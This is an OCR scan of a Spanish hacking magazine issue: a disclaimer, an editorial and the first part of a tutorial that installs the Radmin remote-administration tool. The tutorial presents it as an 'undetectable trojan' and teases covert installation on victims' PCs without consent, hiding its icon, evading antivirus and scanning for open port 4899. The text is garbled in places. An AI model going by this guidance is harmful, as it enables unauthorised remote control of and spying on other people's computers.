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DECLARACION DE INTENCIONES

PARA "LOS OTROS":

1.- La intencion de la presente publicacion NO ES fomentar la pirateria
informatica ni la “delincuencia” en la Red.

2.- Cualquier texto publicado es VALIDADO por nuestra Asesoria Juridica,
por lo que advertimos a cualquier persona, empresa u organizacion de la
inutilidad de cualquier iniciativa juridica en nuestra contra. Aun asi, en caso
de cualquier iniciativa en contra de esta revista, debera ser debidamente
presentada y resuelta en la Razén Social que figura en nuestros documentos
de constitucion.

3.- Esta publicacion no se hace responsable del mal uso de los conocimientos
que se exponen.

4.- Esta publicacién NO FACILITARA los datos de nuestros colaboradores
ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL vy, aun asi,
advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas
que por sus NICKS (alias). Por ello, correra a cargo de los organismos
pertinentes su “descubrimiento”.

5.- Esta publicacion NO SE HACE RESPONSABLE ni tienen por qué COMPARTIR
las opiniones personales vertidas por sus colaboradores, por lo que NO
SOMOS RESPONSABLES de las mismas.

6.- Cualquier texto publicado estara bajo las protecciones de DERECHOS
DE AUTOR y no se permite su copia, publicacion, modificacion o distribucion
sin antes obtener el permiso de esta editorial. De este punto quedan exentos
aquellos textos que han sido obtenidos de terceros y/o que estan sujetos
a otras licencias (ya sean por parte de su autor o por terceros).
7.- Si desean ponerse en contacto con nuestro departamento juridico,
rogamos enviar mail a juridico@hackxcrack.com

PARA NUESTROS LECTORES:

Como podréis ver, esta no es una revista mas, por primera vez tenéis ante
vosotros una publicacion LIBRE que os ofrecera la posibilidad de explorar
la red tal y como debe explorarse ;)

Esta publicacion responde a la pregunta mas veces expuesta en LA RED:
¢Como puedo ser un hacker? Bien, ahora seguro que muchos ya se estan
"sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en
"portadores de LA LUZ", pensando que seremos una "escuela de lamers"
y similares a otras publicaciones que, entre sus 100 paginas de revista solo
contiene 5 de "material utilizable" (si es que puede llamarse asi).

Pues NO, lo siento, vosotros seréis nuestros jueces y, llegado el caso,
NUESTROS VERDUGOS.

Nuestro objetivo es:/ACABARICGON]AIBASURAIDEI'AIRED)(lamers y demés
"esencias") con el inico método que conocemos: [ATEDUGAGION]y con un

Unica bandera que sera por siempre nuestra firma:(SOLO, ECONOCIMIENTO)
HAGE[LIBRE

i —\ /7 Z

Estos son nuestros pilares: [/AITEDUCACION)Y(ELLCONOCIMIENTO) Para ser
un HACKER (maldita palabra mal entendida por unos y peor utilizada por
otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la
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curiosidad deberéis ponerla VOSOTROS, porque los medios los facilitaremos
NOSOTROS. En las siguientes lineas os descubrimos cémo podremos
conseguir nuestros objetivos y definimos algunas de las palabras que mas
han sido violadas y retorcidas en su significado.

Hacker: Este término ha sufrido a lo largo de su corta historia una horrible
conspiracion perpetrada por la ignorancia de los medios, eso que
personalmente Illamo "periodismo de telediario" (en clara alusién a los
ridiculos articulos que no hacen mas que intoxicar nuestra percepcion de
las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a
"otros poderes", desde los monopolios que deben justificar su incompetencia
hasta los gobiernos que deben justificar sus intereses ocultos pasando por
la industria del cine (normalmente demonoldgica) y los medios informativos
"de masas".

Pues bien, HACKER no es mas que una persona que posee conocimientos
avanzados sobre una materia en concreto, normalmente relacionados con
la tecnologia aunque ni mucho menos limitado a ello. Ponen sus aptitudes
al servicio de un Unico objetivo: EL CONOCIMIENTO. Desean conocer el
funcionamiento de "las cosas" y no encuentran limites en sus camino mas
que su propia curiosidad. No se dedican a destruir ni a causar estragos
entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse
de sus "conquistas", muy al contrario suelen advertir a terceros de las
debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar
de agradecerles su aviso se dedican a denunciarlos o perseguirlos... aunque
no siempre es asi, por supuesto, muchas compaiiias y gobiernos han
aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores
(o empleados) de estos. BILL GATES es un HACKER (el papa ventanas),
como Linus Torvalds (el papa Linux) o Grace Hooper (la Almirante,
creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas
Morris, Douglas Mcllroy y Victor Vysottsky (precursores de los
creadores de virus informaticos), Fred Cohen (el primer investigador y
autor de los virus de la historia), Dennis Ritchie y Ken Thompson
("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall
(autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del
Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin
Mitnick (el mas buscado por el FBI), Phiber Optik (lider juvenil convertido
en simbolo de los hackers), Richard Stallman (impulsor del "software
gratuito" y GNU), Johan Helsingius (primer conductor de un Remailer
Andnimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic
(creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel
Ramonez (virus Loveletter), Vladimir Levin (Robo electronicamente
10 millones de ddlares al Citibank), y muchos mas. ¢Cémo? ¢Pero no hemos
dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su
definicion... pero claro, de todo hay en la vifia del sefior, y al igual que hay
delincuentes entre el clero hay hackers que en un momento u otro han
‘caido- en la ilegalidad, nadie es perfecto!!!!! ... y Bill Gates es un HACKER?
Por supuesto, solo tienes que leerte su biografia. ¢éSorprendido? Espero
que no, porque eso No es nada mas que un cero a la izquierda en comparacion
con lo que vas a encontrar en esta revista.



EDITORIAL:
BOS CABEZAS PARA UN SOLO
CUERPO

Antes que nada, desde la editorial de Hack x Crack, queremos
agradecer los cientos y cientos de mails que hemos recibido dando
animos a quienes intentamos sacar esta publicacién adelante. No ha
sido facil, nada facil, pero creemos firmemente que sin vuestro apoyo
habria sido imposible sacar a la calle este nimero 4 y esta vez EN
COLOR!!! 1)

Los que nos siguen desde el nimero 1 saben de nuestros problemas
para mantener esta revista en el mercado, no solo el contenido era
un problema, también lo era el tamaio de la publicacion y el nombre
de la revista: Los cuadernos de Hack x Crack. Los quiosqueros
devolvian el 58% de la tirada sin ponerla a la venta porque no sabian
si esta revista era de Crucigramas, ajedrez (por lo de HACK ;p) o de
pornografia (porque la portada era negra). De verdad, crelamos que
podian haber cientos de motivos por los cuales debiamos preocuparnos,
pero nunca pensamos que nuestro mayor escollo fuese la
distribucion/puntos de venta.

Ahora hemos intentado poner remedio a todos esos problemas:
- La revista se sigue llamando Los Cuadernos de Hack x Crack, pero
ahora, nuestro nombre comercial es PC PASO A PASO. Con esto
conseguiremos que los distribuidores y quioscos pongan la revista
donde debe estar, junto al resto de revistas informaticas.
- El tamafio ha sido ampliado a DIN-4, con lo que la revista dejara
de perderse entre los cientos de dinosaurios que pueblan las estanterias
de los quioscos.

- El color ha llegado a la revista, con lo que podremos incluir publicidad
y utilizar esos ingresos para comprar servidores y ponerlos a tu
disposicion.

En definitiva: Queremos cumplir nuestros objetivos iniciales y hacer
honor a nuestra Declaracion de Intenciones.

Esta publicacion debera tener 160-180 paginas para septiembre del
ano 2003 y a ser posible mantener el precio de 4,5 euros. Nuestra
seccion principal sera la que hasta ahora ha sido nuestra "lanza",
todo lo relacionado con el mundo del Hacking y la Seguridad
Informatica; pero no podremos avanzar sin empezar a estudiar
programacion y temas relativos a la misma (tanto orientado a sistemas
como orientado a la Web). Por todo ello, iniciaremos cursos practicos
de cuantos lenguajes consideremos necesarios y articulos/cursos de
cuantas materias creamos interesantes (desde ingenieria inversa a
"carding", siempre que consigamos explicarlo "dentro de la ley",
claro).

Quien crea que haremos como todo el mundo, es decir, soporiferos
cursos sobre teoria de la programacion y extensisimos articulos tan
técnicos como inservibles, se equivoca. Si iniciamos un curso APACHE-
PHP-SQL, lo haremos de la mejor forma posible, es decir, montaremos
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una Web desde cero y aplicaremos, uno a uno, procedimientos
afnadidos. Podriamos, por ejemplo, montar una simple agenda en
ACCESS vy afadir funciones personalizadas que podras ampliar y
mejorar a tu gusto, porque TU ERES EL QUE VA A CREAR ESA
AGENDA DESDE CERO!!! A todos nos ha pasado, nos leemos un
manual de 400 pdaginas de bases de datos (por ejemplo) y después
de un par de dias, nos damos cuenta que NO PODEMOS enfrentarnos
a la creacion de una simple lista de la compra ;p.

Pero no solo de redes y hacking vive el hombre, siempre que veamos
algo interesante te lo presentaremos. En este nimero, por ejemplo,
te ensefiamos los secretos de las "letras de fuego". Bueno, seamos
sinceros, ese articulo es un simple "gancho" para todos aquellos que
"pasan" de las IPs y programacion. Je, je... a ver si compran la
revista y les pica el "IP-gusanillo" ():p

Bueno, solo quiero recordaros una cosa: todos los que participamos
en Hack x Crack/PC PASO A PASO intentaremos, poco a poco, dejar
nuestras actividades actuales y dedicar el 80% de nuestro tiempo
a esta revista. Pero por el momento somos personas que trabajamos
en el mundo de la Informatica, somos Administradores de Sistemas,
Técnicos Informaticos, Gestores de Redes, Auditores de Seguridad
y... bueno, hay personas de las que desconocemos su empleo actual
porque aportan su conocimiento y no desean ser conocidas (por el
momento). Resumiendo, sabemos lo inutil que es La Teoria sin La
Practica y esta revista intentara unificar esos dos conceptos tan
distantes en el mundo informatico actual. En resumen, la revista
que tienes entre las manos es el principio de un proyecto que, poco
a poco y PASO A PASO, iremos profesionalizando nuestro aspecto
y cumpliendo nuestros objetivos.

Ya os dejo, que disfrutes con la lectura de Hack x Crack 4 o PC PASO
A PASO 4, como prefieras!!!

Ahhh!!! Se nos olvidaba. Por favor, NO ESTAS SOLO!!!! En nuestra
Web (www.hackxcrack.com) tenemos un FORO donde los lectores
y la editorial nos contamos nuestras experiencias. Actualmente, el
foro es la Unica parte de la Web que ha sido "mimada" y esta 100%
operativo, somos mas de 1000 miembros y es nuestro centro de
reunion. En el FORO podras encontrar todo tipo de informacion y
"la editorial" suele emitir comunicados a través de AZIMUT "el amo
del foro". También tenemos un par de canales de CHAT que los
lectores (personas como tu y yo) han montado para facilitar un
mayor acercamiento entre los miembros.

Una vez mas GRACIAS a todos los que participan el FORO y el CHAT
ofreciendo de forma desinteresada su TIEMPO Y CONOCIMIENTOS.



CREA TU SEGUNDO TROYANO

INDETECTABLE B INMUNK
A LOS ANTIVIRUS

RALOYIN: REMOTE ADYHWIN/STRATORZ. 7
UN CONTROLADOR REMOTO A MEL/LA”,)

PARTE I:
INSTALANDO Y CONOCIENDO EL PROGRAMA.

Controlar desde tu casa un PC que esta a miles de Hilometros es. hoy por hoy. una reahdad
que muchos desconocen. llo te hablamos de esos “simpaticos™ troyanos con que los “lamers”™
de turno infectan sistemas. no. te hablamos de Controlar al [00% un PC con las herramientas
adecuadas: Software de Control Remoto de Sistemas.

Presencia Uirtual: Toma el control absoluto de un Escritoro Remoto.

Control de Sala: Controla todos los ordenadores de una Sala sin moverte de tu momtor.
Uision Remota: Espia lo que sale en la pantalla del moniter remoto :)

|£|> El titulo es "Crea tu...

El titulo es "Crea tu segundo "troyano"..." No, no nos hemos equivocado, este es el segundo "troyano" que

ensefiamos en Hack x Crack. El primero se explicé detalladamente en el numero 1.

|£|> Antes de ponerte...

Antes de ponerte delante del ordenador y seguir los pasos que te explicaremos, lee la totalidad del articulo al menos

una vez. Te lo recomendamos porque de esa forma tienes una vision general del tema y, cuando te sientes frente

al teclado, estards mucho mas preparado :)
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TU SEGUNDO TROYANO - PARTE I: Instalando y Conociendo el RAdmin

muestra en tu la pantalla la Web de Microsoft. Al
igual que tu tienes un Software Cliente para hacer
las peticiones (el Internet Explorer), el servidor tiene
un Software Servidor de Paginas Web (por ejemplo
el IIS -Microsoft Internet Information Server- o el
Apache), por eso puede servirte la pagina que le
pides.

1.- éQué conseguiremos hacer?

Mediante el siguiente articulo, podremos:

* Controlar a distancia un PC situado en
cualquier parte del mundo, siempre que
esté conectado a Internet, claro ;)

* Controlar desde un solo PC todos los PCs
de una sala, siempre que estén conectados
por Red, claro ;)

Este proceso esta...

* Abrir sesiones Telnet en los PCs que Este proceso esta explicado y detallado en los niimeros 1,

controlemos. 2 y 3 de esta publicacion, ahora simplemente estamos

recordando lo minimo necesario para poder comprender
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* Abrir sesiones para compartir archivos.

* Ver lo que esta viendo la persona que esta
delante del PC "controlado".

* Utilizar el Mouse del PC "controlado".

* Y muchas cosas mas.

2.- Empecemos aclarando conceptos.

Antes de meternos en el tema, debemos tener muy
claros dos conceptos que, en realidad, son dos caras
de la misma moneda: Cliente y Servidor. No vamos
a explicarlo en profundidad porque este tema se
tratd en los nimeros anteriores de esta publicacion;
pero debemos, como minimo, recordar la base.

Cuando hablamos de Redes, un CLIENTE es el que
pide "algo" y un SERVIDOR es el que "sirve" lo
pedido.

- Si hombre, claro, como no te expliques mejor :(

De acuerdo, un cliente es, por ejemplo, tu Navegador
de Internet (el Internet Explorer, el Netscape, o el
que utilices normalmente). Cuando abres el Internet
Explorer e introduces una direccion Web, por ejemplo
www.microsoft.com, lo que haces es pedirle a una
maquina (servidor) que te "sirva" esa pagina Web
(www.microsoft.com). Entonces el Servidor, recibe
tu peticion y envia (sirve) los datos a tu Navegador
(tu ordenador), el que finalmente los interpreta y
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este articulo.

Bien, teniendo claro el concepto de Cliente y Servidor,
vamos meternos de lleno en el articulo.

3.- Hay que encontrar el Software
adecuado!!!

No podemos empezar el articulo si no seleccionamos
un Software de Control Remoto... ummmm... hay
muchos programas que se dedican a esto y algunos
tan conocidos como el Symantec pcAnywhere,
actualmente en su versién 10.5
(www.symantec.com); pero nosotros vamos a utilizar
todo un clasico entre los Hackers, es decir, entre los
Administradores de Red.

- ¢Hacker = Administrador de Red? Pero si un Hacker
es uno de esos tipos raros que se dedican a robar bancos
y hundir empresas ;no? Un delincuente peligroso que

hace virus y trafica con programas en Internet y.....

escribiendo este articulo. Por favor, si es la primera
vez que compras esta revista, haré como si no te
hubiese oido... un hacker simplemente es una persona
que tiene conocimientos avanzados sobre un tema
(en este caso, informatica). Por favor, no te dejes
influenciar por los medios "desinformativos”,



TU SEGUNDO TROYANO - PARTE I: Instalando y Conociendo el RAdmin

créeme, como ejemplo de Hacker tienes a "Hill"
Gates :) (creador de Windows) o Linus Torvald
(creador de Linux).

Vale, como decia, nosotros utilizaremos para este
articulo el "radmin", Remote Administrador
(http:/ /www.famatech.com/). Este programa
ocupa poco mas de un mega y es perfecto para lo
que nosotros haremos después con él :)

4.- Instalando el "radmin"

Antes que nada, descargamos el programa de la
Web Oficial (http://www.famatech.com/) o de
la Web de esta publicacién (www.hackxcrack.com)
en la seccion de programas.

Una vez descargado creamos una carpeta en nuestro
disco duro, nosotros hemos creado la carpeta
c:\radmin y metemos alli el archivo descargado,
que seguro se llama "radmin21.zip". Como puedes
ver, estd comprimido en formato ZIP, asi que lo
descomprimimos en la misma carpeta y nos quedara
una carpeta llamada radmin creada en el disco duro
C: y cuatro archivos en su interior:

1 el que nos hemos descargado
(radmin21.zip)
2 FILE_ID.DIZ (texto informativo)
3 README.TXT (texto informativo)
4 RADMIN21.EXE (el instalador del radmin!!!
9)
5 =0y
o Edoin e Favvtzs s I3
@Atra’s il I ?| Blsqueda Carpetas ‘Ev
Diregc\énl_ Ci|radmin "J Ir_

T
Tareas de archivoy carpeta & |ff  [radnzlzp

Ed KD

ﬁ RADMINGL EXE
[~

Listo, ejecutamos el radmin21.exe pulsando dos
veces sobre él y se iniciard la instalacion. Veremos
varias ventanas tipicas de cuando instalamos
cualquier programa en Windows, las aceptamos
todas por defecto (toma nota del directorio de
instalacion, por favor) hasta llegar a una en la que

j Crear nusva carpeta
@ Publicar esta carpeta en itish

5! Comparti esta carpeta
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nos dice que el "radmin" puede instalarse en dos
modos: As system service (como servicio del
sistema) o As trivial application (como una
aplicacion normal). Por si acaso, en la siguiente
imagen tienes esta pantalla :)

Fiédmin server can rin in bwo modes:
]ﬁ 1] Az sypstem service.
Fi&sdmin zerver automatically starts with windows,
2] Az trivial application.

ou can manually start Badmin server when vou need it

v Install Résdmin server as system service

Only in spstem service mode BaAdmin zerver shows all of its features.
“'ou will be able ta rerately logon and logoff from uzer, to zend Chl-A-Del |
use a video hook driver, ...

MOTE faor windowsM T users: Toinstall the BaAdmin zerver as service pou must have
admirigtrator privileges.

Mest = |

- A ver, explicame eso de system service, que no me

gusta instalar las cosas "a lo tonto".

Bueno, bueno, bueno... no tendria que recordarte
que ya se explicd lo que era un servicio en nimeros
anteriores. Simplemente una referencia (incompleta
pero suficiente), un servicio es un programa que se
iniciara con el sistema, es decir, cada vez que inicies
Windows iniciaras cualquier programa instalado
""como servicio".

En este caso, el "radmin" te pregunta si quieres
instalarlo como servicio, a lo que diremos que si
marcando el cuadro de confirmacion a la derecha
del cual podemos leer "Install RAdmin Server as
System Service (Instalar "radmin" como servicio
de sistema). Pues eso, marcamos la casilla y pulsamos
el boton "Next" (abajo a la derecha).

Ahora veremos una pantalla donde nos pide un
password, pues introducimos un password y lo
confirmamos. En esta misma ventana, si tu sistema
operativo es un Windows NT o XP, te da la opcion
de utilizar los elementos de seguridad de Windows
(WinNT user lever security support). Pues bien,
NO SELECCIONES esa opcion, déjalo en blanco tal
como puedes ver en la imagen.



TU SEGUNDO TROYANO - PARTE I: Instalando y Conociendo el RAdmin

[Password for E Un simple apunte...

— Single pazzword security

Pazsvwiord | i Un simple apunte informativo, cualquier icono que nos
salga en la barra de inicio es llamado "Tray Icon". Es una

HHMNNMH

Confirm pazswornd de esas cosas que estd de moda en los programas y que te

ensefiaremos a ocultar :)

=AM T uzer level zecunty support
[T Enable MT zecurity

- Ahora, si pasas el Mouse sobre el Tray Icon del
Fermizsions " - , o ,
radmin", veras una IP, si picas dos veces sobre él

5.- Conociendo...

te saldra una escualida ventanita diciéndote que no
hay conexiones (no connections) y si pulsas el boton
k. Cancel ; ,
contextual del Mouse sobre el icono, no veras mas
que una opcidn (la de ver conexiones), la cual te
conducira a la ventana anterior. Vale pues vamos a

arreglarlo, que seguro ya estas pensando en lo
inservible que es todo esto :)

La opciéon "WinNT user...

La opcion "WinNT user lever security support" permite al EI
programa utilizar la propia seguridad de Windows para la

gestion de usuarios y demas. Como opinion personal, tengo |N o connechions

que decir que NO me gusta que ninglin programa se "acoja"

a la seguridad del sistema operativo a la hora de gestionar %

NADA... es una opinioén personal y gratuita. Este punto
es foco de discusion continua entre los partidarios y
detractores de este tipo de practicas, no quiero crear
polémica, simplemente he dado mi opinidn.

Pulsamos OK y te pedira reiniciar el equipo, pues
no nos queda mas remedio :(

Una vez reiniciado, veremos en la barra de inicio
(a la derecha) un nuevo icono. Si, ya ensefiaremos
a quitarlo mas adelante ;)

lg aE.
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TU SEGUNDO TROYANO - PARTE I: Instalando y Conociendo el RAdmin

El llamado menu...

software servidor de paginas Web. Pues muy bien, cuando

abras tu cliente (el Internet Explorer), podras pedirte una

pagina Web a ti mismo utilizando la LOOP-IP, es decir,

Elll i 1 i 1 . .
amado ment contextual es menti que sale cuando pones simplemente poniendo 127.0.0.1 en tu navegador. Esta

el Mouse sobre un icono (o sobre cualquier otra cosa) y . . . .
claro que eres Cliente y Servidor al mismo tiempo porque

ulsas el boton derecho. . . . .
P tienes instalado el software Cliente y el software Servidor
en tu propio ordenador. Ahora se entiende ;verdad?. No
deberia decir todo esto porque ya se explicd en su momento,

pero bueno, por si acaso :)

Si cuando pasas el...

Si cuando pasas el Mouse sobre el Tray Icon te sale la IP
127.0.0.1, simplemente recordarte que esa es la famosa

Para quienes piensen...

LOOP-IP... todos los ordenadores tienen esta direccion

(127.0.0.1) y es accesible solo desde tu propio ordenador.

Se utiliza para pruebas de red interna y otras cosas (esa [P Para quienes piensen que explicar las cosas tantas veces

solo te saldra en caso de no estar conectado a ninguna Red, es una perdida de tiempo, tengo que decirles que estos
entendiendo por Red tanto Internet como Intranet) pequeflos conceptos (cliente // servidor) y esas pequefias
dudas que uno se plantea cuando se mete en ¢l tema, son
las que acaban por fastidiar todo un articulo/ejercicio. Esta

revista se ha propuesto enseflar a todo el mundo y
Ahora es MUY IMPORTANTE que entiendas una cosa:

Lo que tienes ejecutandose en tu ordenador es solo
una parte del programa "radmin", la parte "servicio",
es decir, el servidor. Ahora vamos a ejecutar el cliente
en nuestro PC.

necesitamos recalcar algunos conceptos una y otra vez, la
experiencia nos ha demostrado que solo asi podemos
acceder a aquellas personas que no tienen conocimientos
avanzados de informatica.

Si tu ya conoces estos conceptos relacionados con
la Red, seguro que te pareceran "demasiado simples";
pero hay personas con conocimientos avanzados de,
por ejemplo, disefio grafico, a las que no puedes
decirles que te envien un simple mail porque en su
momento no supieron ni configurar su programa de
correo electronico. Tenemos que explicar temas
relacionados con La Red y hacemos uso de cuantos
medios estan a nuestro alcance, y uno de ellos es
explicar las mismas cosas una y otra vez con palabras
y ejemplos distintos.

- Paral!l! ;Me estas...

- Para!!! ;Me estds diciendo que en mi ordenador tendré
el Cliente y el Servidor? Vamos a ver, primero me ensefias
un programa que no tiene apenas opciones y ahora me
dices que yo mismo soy/seré mi cliente y mi servidor...
Jcomo se entiende eso?

Espera, te lo explico enseguida. Cuando hemos descrito lo
que es un servidor y un cliente, hemos puesto de ejemplo

el Internet Explorer pidiendo una pagina Web a un Servidor - Deja de darme la paliza y continiia explicando que ya
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de Microsoft. Quizas pienses que el cliente (TU) tienes
forzosamente que pedir las cosas a un ordenador distinto
(el servidor de Microsoft), pero eso no es asi, te lo detallo.

Imagina que te instalas en tu ordenador el IIS, es decir, un
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te estds pasando... "ahora el tio me estd preparando
para una de esas explicaciones cientifico-técnico-
informatico-incomprensibles, seguro que no pillaré ni

una, ya verds..."

Vaaaaaale, seguimos :) Estdbamos a punto de iniciar
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rﬂ Remote Adriit,
@ SutegnPrnt 3.0

7] gt 6
@ SorksCap 2
@ The Claner

@ ShadowSecutyScammer

la parte cliente. Vamos al Menu Inicio y buscamos
el programa que acabamos de instalar, es decir, el
Remote Administrador v2.1 (es una vergiienza
decirlo, pero bueno, el Mend Inicio es la barra que
tienes en la zona mas baja de tu monitor, esa en la
que hay un botoén llamado Inicio a partir del cual
puedes abrir cualquier programa instalado en tu
ordenador, si ya, ya se que lo sabes, pero hemos
recibido algin mail en el que nos lo preguntan).

Recuperado de la vergiienza por explicar lo del Menu
Inicio, seguimos :) Una vez encontrado el programa
vemos que tenemos varias opciones (tal como se
ve el la figura), pues bien, pulsamos sobre Remote
Administrador Viewer (el cliente del radmin).

*:lr v 1) HepEngi)

P li Remote Acinitratr viewer

b li Seftngs For Remate Administator server
P li et Remote Adniitrato server

P li Shop Remate Adnistator serve
b @ it
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Ahora nos aparecera una ventana diciendo que el
programa no esta registrado, pues muy bien,
pulsamos OK y nos encontramos ante nuestro Centro
de Control de Equipos Remotos. Desde aqui nos
conectaremos a cualquier equipo que tenga la parte
"servidor" del "radmin" corriendo en su sistema.
Ahora es el momento de pensar un poco... imagina
que instalas UNICAMENTE la parte servidor del
radmin en unos cuantos equipos "remotos" sin su
consentimiento... je, je... imagina que lo haces de
forma oculta para que el dichoso icono no salga en
la Barra de inicio (a la derecha)... imagina que te
explicamos como hacer eso :)... no adelantemos
acontecimientos, a medida que avances en este
articulo te mostraremos como instalar este programa
en equipos remotos Y, lo mas importante, al ser una
herramienta de Administracién de Redes ningln
antivirus podra dar la alarma :)
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Conneckion  Mode WYiew Help

£ [m = ||| & | [P e ==

Full conkraol )

Deja ya de...

Deja ya de utilizar los tipicos troyanos para hacer
"travesuras" en La Red, que sirven para MUY POCO y es

antivirus del mundo, miradme, estoy aqui!!!! Norton,
Panda, AVP y todo el que se precie, cogedme que vengo
a infectaros!!!!

Hemos dicho que tenemos la parte servidor del
Radmin corriendo en nuestro Sistema éverdad?,
después hemos ejecutado la parte cliente éno?. Pues
ahora conectaremos nuestro Cliente Radmin a nuestro
Servidor Radmin.

Teniendo ante nosotros la ventana Cliente del Radmin,
vamos a --> Menu Connection --> New Yy se
abrira una ventana donde introduciremos los datos
de la victima (en este caso nosotros mismos).

% MHame of entrg
I

IF address ar DMS name
| © |4g39
I+ Use default port

Fart

Sdwvanced settings

I Connect through host

| =1
Ok I Cancel I




Detallando:

* Name of entry (Nombre de referencia): Pues lo
que queramos, es simplemente para poder distinguir
esta conexion del resto, nosotros la llamaremos
"mipc"

* IP Address or DNS name (la IP de la victima
0 su nombre en Internet, es decir, su hombre de
dominio): Esta claro éno?, por ejemplo microsoft.com

no tiene corriendo este programa en sus servidores
de Internet, asi que, hasta que aprendamos a
instalarlo en equipos remotos sin permiso, nos
conformaremos con poner nuestra LOOP-IP
(127.0.0.1).

Esta IP es exactamente la que tienes que poner por
ahora, recuerda que es una IP UNIVERSAL, que
TODOS los equipos tienen esa IP y que solo podras
acceder a ella desde tu propio ordenador, lo que
por ahora es correcto :)
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S

Imagina que ...

Imagina que lanzamos un escaneador de IPs a la Red
intentando encontrar puertos 4899 abiertos. Al cabo de
unas horas (o unos dias), seguro que encontramos unos
cuantos :)... Bien, pues a partir de ahora, cuando escanees
la red en busca de puertos abiertos, pon en tu lista este y
quizas te encuentres con algunas sorpresas... después
daremos detalles, pero ya puedes ir abriendo esa cajita de
Pandora que hay sobre tu frente :)

* Connect through host (conectarte a través de):
Esta opcion es la que nos permitiria conectar el
cliente a través de un equipo intermedio (un proxy),
ya hemos explicado el tema de la Ocultacion por
Proxy en anteriores nlimeros e incluso podemos
hacerlo sin necesidad de recurrir a esta opcion y

para colmo ya os hemos ensefnado a hacer cadenas
de proxys, asi que, por el momento, dejamos esta
opcion tal como estan, en blanco :)

Recomendamos...

LISTO!!! Pulsamos OK y... tachan!!!, ya tenemos un

Recomendamos utilizar siempre la IP del remoto en lugar ) ) o \
equipo en nuestra lista de equipos "controlables" :)

de su nombre de dominio

.1 Remote Administrator - UNREGISTEREE

* Port (Puerto): Ya explicamos eso en anteriores Camediey M W GER
ndmeros, todo servidor tiene una puerta por la que 2| &x|e] = w|cy|=| &[5
escucha, en este caso por defecto es el puerto 4899. g

Estamos configurando el Cliente para que acceda
al servidor por el puerto tipico del radmin, el 4899.

Estamos intentando...

Estamos intentando conectar el radmin-cliente a nuestra
IP 127.0.0.1 mediante el puerto 4899. Nuestro radmin- Il Full cartrol 4
servidor esta en la ip 127.0.0.1 y escuchando el puerto
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4899 puesto que lo hemos instalado por defecto. Si
hubiésemos instalado el servidor en otro puerto, deberiamos
cambiar el puerto del cliente, esta claro ;no? Pero como
por ahora no sabemos cambiar el puerto del servidor,
dejamos el que hay por defecto.
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Venga, vengda, que lo estas deseando!!! Pulsa dos
veces sobre el icono "mipc" que sale en la imagen
:) Bien, nada mas pulsar, se intentara conectar con
el radmin-server y nos pedird una contrasefia (la
que pusimos cuando instalamos el programa), pues
la introducimos, pulsamos OK y no te asustes!!! Si
ves algo asi:
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Te explico: Pulsando dos veces sobre la conexion
"mipc" lo que hemos hecho es abrir una ventana
donde puedes VER lo que hay en tu propio monitor,
algo muy tonto éno?, por eso vemos nuestro monitor
muchas veces, es como un espejo que refleja una
imagen sobre un segundo espejo que apunta hacia
el primero :)

Esto es muy poco UTIL, pero imagina que el radmin-
server estuviese en otro equipo, pues estarias viendo
exactamente la pantalla del otro monitor :), eso SI
ES UTIL para espiar a "tu vecino" del otro lado del
charco ¢verdad? :)... o para ver qué hacen tus
alumnos en la clase de informatica, je, je... cuando
acabes de leer este articulo, controlaras esto
perfectamente.

Ah!!l, si se te ha maximizado la ventana, seguramente
no podras hacer nada en el ordenador. Solo tienes
que subir el Mouse hacia arriba a la derecha y pulsar
sobre la X para cerrar la ventana y la conexion (o
cambiar el tamafio de la "ventana espia" para poder
ver tu escritorio).

Después de este primer paso y después de cerrar
la ventana y por lo tanto la conexion al "radmin-
server", pasamos a estudiar las posibilidades y
explicar las opciones de configuracion.

- (Me estds diciendo que si instalo este programa en un
ordenador "victima", podré ver perfectamente lo que
hay en su monitor? ;En serio? ... "este seguro que me
toma el pelo”
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Acabas de verlo por ti mismo :)

- Y... ;como escondo el icono ese que has llamado Tray
Icon? (e, je... ultimamente utilizo unas palabras que
me doy miedo a mi mismo), y... ;como lo instalo sin
tener acceso directo a la victima?, y... ;como le subo el

programa?, y ;como lo ejecuto?, y ....

Poco a poco, sigue leyendo y podras hacerlo :)

6.- Configurando el cliente.

Fijate bien en el titulo, dice "configurando el cliente"...
por ahora el servidor lo dejamos como esta en su
ip y su puerto. Pues venga, vamos a estudiar las
posibilidades del cliente, ahora en lugar de pulsar
dos veces sobre el icono nos conformaremos con
pulsar el botdn derecho del Mouse sobre él para ver
un menu contextual que pasamos a detallaros:

& Remote Administrator - UNREGISTERED
Conneckion  Mode  Wiew Help

2| Bx|e [ eS| & [ |z

Full contral
Wigt only
Telnet

Eile transfer
Shukdown

Registration code transfer

Delete Del
Properties

|Remnte screen is controlled by mouse and keyboard

* Full Control (Control Total): Hace lo mismo que
acabamos de hacer, muestra la ventana remota y
toma el control del Mouse remoto. Al acceder en
este modo debes reducir el tamafio de la "ventana
espia", veras que cuando intentas pasar el cursor
del ratdn sobre esa pantalla automaticamente se
desplaza fuera de la ventana. Esto es porque en
realidad tienes el control del Mouse del ordenador
controlado pero, como el ordenador controlado es
tu mismo equipo, cuando entras en tu ventana espia




es como si entrases en tu escritorio de Windows
y el ratén se mueve al punto por donde intentas
entrar en la pantalla espia. La mejor manera de
verlo es conectandote a un equipo remoto y no al
tuyo directamente :)

Si no has resistido la tentacion de probar, cuando

acabes cierra la ventana espia.

- Parece que me hubiese parido, me conoce mds que

mi madre... que tio.

Cuando tienes ...

Cuando tienes ante ti el control de un remoto en modo Full
Control veras el monitor del "remoto" en una ventana de
TU escritorio. Ten cuidado con el Full Control!!!. Piensa
que, en el momento que TU Mouse entre en la Ventana de
TU escritorio que muestra el Monitor Remoto, en ese
mismo instante pasaras a controlar el Mouse del ordenador
Remoto.

No hay que decir lo sospechoso que puede llegar a ser...
ummm. .. imagina que un administrador de Red esté sentado
en su trabajo frente al monitor y de repente ve como el
